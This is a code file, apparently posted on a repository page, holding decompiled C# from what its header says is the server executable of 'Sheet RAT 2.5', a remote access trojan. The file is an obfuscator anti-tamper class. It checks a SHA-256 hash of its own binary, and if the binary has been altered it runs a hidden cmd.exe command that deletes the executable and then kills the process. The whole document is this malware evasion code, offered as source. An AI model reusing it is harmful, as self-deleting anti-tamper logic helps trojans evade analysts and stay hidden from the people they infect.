37 lines
1.3 KiB
C#
37 lines
1.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MindLated.Protection.Anti.Runtime.EofAntiTamper
|
|
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
|
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
|
|
|
using System;
|
|
using System.Windows.Forms;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Security.Cryptography;
|
|
|
|
//#nullable disable
|
|
namespace MindLated.Protection.Anti.Runtime {
|
|
|
|
internal class EofAntiTamper
|
|
{
|
|
private static void Initializer()
|
|
{
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
|
Stream baseStream = new StreamReader(location).BaseStream;
|
|
BinaryReader binaryReader = new BinaryReader(baseStream);
|
|
string str1 = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32 /*0x20*/)));
|
|
baseStream.Seek(-32L, SeekOrigin.End);
|
|
string str2 = BitConverter.ToString(binaryReader.ReadBytes(32 /*0x20*/));
|
|
if (!(str1 != str2))
|
|
return;
|
|
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
|
|
{
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
})?.Dispose();
|
|
Process.GetCurrentProcess().Kill();
|
|
}
|
|
}
|
|
}
|